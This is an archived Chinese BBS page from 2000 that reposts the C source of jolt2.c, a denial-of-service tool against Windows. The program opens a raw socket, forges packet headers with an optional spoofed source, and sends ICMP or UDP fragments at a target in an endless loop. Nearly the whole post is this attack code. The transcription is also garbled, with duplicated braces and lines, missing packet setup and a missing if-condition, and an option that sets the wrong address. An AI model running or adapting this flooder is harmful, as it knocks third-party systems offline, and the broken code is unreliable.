📄 350.htm
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CTerm非常精华下载</title>
</head>
<body bgcolor="#FFFFFF">
<table border="0" width="100%" cellspacing="0" cellpadding="0" height="577">
<tr><td width="32%" rowspan="3" height="123"><img src="DDl_back.jpg" width="300" height="129" alt="DDl_back.jpg"></td><td width="30%" background="DDl_back2.jpg" height="35"><p align="center"><a href="http://apue.dhs.org"><font face="黑体"><big><big>apue</big></big></font></a></td></tr>
<tr>
<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center"> ● UNIX网络编程 (BM: clown) </font></big></big></td></tr>
<tr>
<td width="68%" height="44" bgcolor="#000000"><font face="黑体"><big><big><p align="center"></big></big><a href="http://cterm.163.net"><img src="banner.gif" width="400" height="60" alt="banner.gif"border="0"></a></font></td>
</tr>
<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="309.htm">上一层</a>][<a href="351.htm">下一篇</a>]
<hr><p align="left"><small>寄信人: bibble (三人行有我师) <br>
<br>
标 题: jolt2.c -- a DOS tool to windows <br>
<br>
发信站: BBS 水木清华站 (Mon Nov 6 01:55:18 2000) <br>
<br>
来 源: 162.105.203.39 <br>
<br>
<br>
<br>
【 以下文字转载自 bibble 的信箱 】 <br>
<br>
【 原文由 jgsun 所发表 】 <br>
<br>
#include <stdio.h> <br>
<br>
#include <string.h> <br>
<br>
#include <netdb.h> <br>
<br>
#include <sys/socket.h> <br>
<br>
#include <sys/types.h> <br>
<br>
#include <netinet/in.h> <br>
<br>
#include <netinet/ip.h> <br>
<br>
#include <netinet/ip_icmp.h> <br>
<br>
#include <netinet/udp.h> <br>
<br>
#include <arpa/inet.h> <br>
<br>
#include <getopt.h> <br>
<br>
<br>
<br>
struct _pkt <br>
<br>
{ <br>
<br>
struct iphdr ip; <br>
<br>
union { <br>
union { <br>
<br>
struct icmphdr icmp; <br>
<br>
struct udphdr udp; <br>
<br>
} proto; <br>
<br>
char data; <br>
<br>
} pkt; <br>
<br>
<br>
<br>
int icmplen = sizeof(struct icmphdr), <br>
<br>
udplen = sizeof(struct udphdr), <br>
<br>
iplen = sizeof(struct iphdr), <br>
<br>
spf_sck; <br>
<br>
<br>
<br>
<br>
void usage(char *pname) <br>
<br>
{ <br>
<br>
fprintf (stderr, "Usage: %s [-s src_addr] [-p port] dest_addr\n", <br>
<br>
pname); <br>
<br>
fprintf (stderr, "Note: UDP used if a port is specified, otherwise ICMP\n"); <br>
<br>
exit(0); <br>
<br>
} <br>
<br>
<br>
<br>
u_long host_to_ip(char *host_name) <br>
<br>
{ <br>
<br>
static u_long ip_bytes; <br>
<br>
struct hostent *res; <br>
<br>
<br>
<br>
res = gethostbyname(host_name); <br>
<br>
if (res == NULL) <br>
<br>
return (0); <br>
<br>
memcpy(&ip_bytes, res->h_addr, res->h_length); <br>
<br>
return (ip_bytes); <br>
<br>
} <br>
<br>
<br>
<br>
void quit(char *reason) <br>
<br>
{ <br>
{ <br>
<br>
perror(reason); <br>
<br>
close(spf_sck); <br>
<br>
exit(-1); <br>
<br>
} <br>
<br>
<br>
<br>
int do_frags (int sck, u_long src_addr, u_long dst_addr, int port) <br>
<br>
{ <br>
<br>
int bs, psize; <br>
<br>
unsigned long x; <br>
<br>
struct sockaddr_in to; <br>
<br>
{ <br>
{ <br>
<br>
pkt.proto.udp.source = htons(port|1235); <br>
<br>
pkt.proto.udp.dest = htons(port); <br>
<br>
pkt.proto.udp.len = htons(9); <br>
<br>
pkt.data = 'a'; <br>
<br>
} else { <br>
<br>
pkt.proto.icmp.type = ICMP_ECHO; <br>
<br>
pkt.proto.icmp.code = 0; <br>
<br>
pkt.proto.icmp.checksum = 0; <br>
<br>
} <br>
<br>
<br>
<br>
while (1) { <br>
while (1) { <br>
<br>
bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to, <br>
<br>
sizeof(struct sockaddr)); <br>
<br>
} <br>
<br>
return bs; <br>
<br>
} <br>
<br>
<br>
<br>
int main(int argc, char *argv[]) <br>
<br>
{ <br>
<br>
u_long src_addr, dst_addr; <br>
<br>
int i, bs=1, port=0; <br>
<br>
char hostname[32]; <br>
<br>
<br>
<br>
if (argc < 2) <br>
<br>
usage (argv[0]); <br>
<br>
<br>
<br>
gethostname (hostname, 32); <br>
<br>
src_addr = host_to_ip(hostname); <br>
<br>
<br>
<br>
while ((i = getopt (argc, argv, "s:p:h")) != EOF) <br>
<br>
{ <br>
<br>
switch (i) <br>
<br>
{ <br>
{ <br>
<br>
case 's': <br>
<br>
dst_addr = host_to_ip(optarg); <br>
<br>
if (!dst_addr) <br>
<br>
quit("Bad source address given."); <br>
<br>
break; <br>
<br>
<br>
<br>
case 'p': <br>
<br>
port = atoi(optarg); <br>
<br>
if ((port <=0) || (port > 65535)) <br>
<br>
quit ("Invalid port number given."); <br>
<br>
break; <br>
<br>
case 'h': <br>
default: <br>
usage (argv[0]); <br>
} <br>
} <br>
<br>
dst_addr = host_to_ip(argv[argc-1]); <br>
if (!dst_addr) <br>
quit("Bad destination address given."); <br>
<br>
spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); <br>
if (!spf_sck) <br>
quit("socket()"); <br>
if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *)&bs, <br>
sizeof(bs)) < 0) <br>
quit("IP_HDRINCL"); <br>
<br>
do_frags (spf_sck, src_addr, dst_addr, port); <br>
} <br>
</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="309.htm">上一层</a>][<a href="351.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -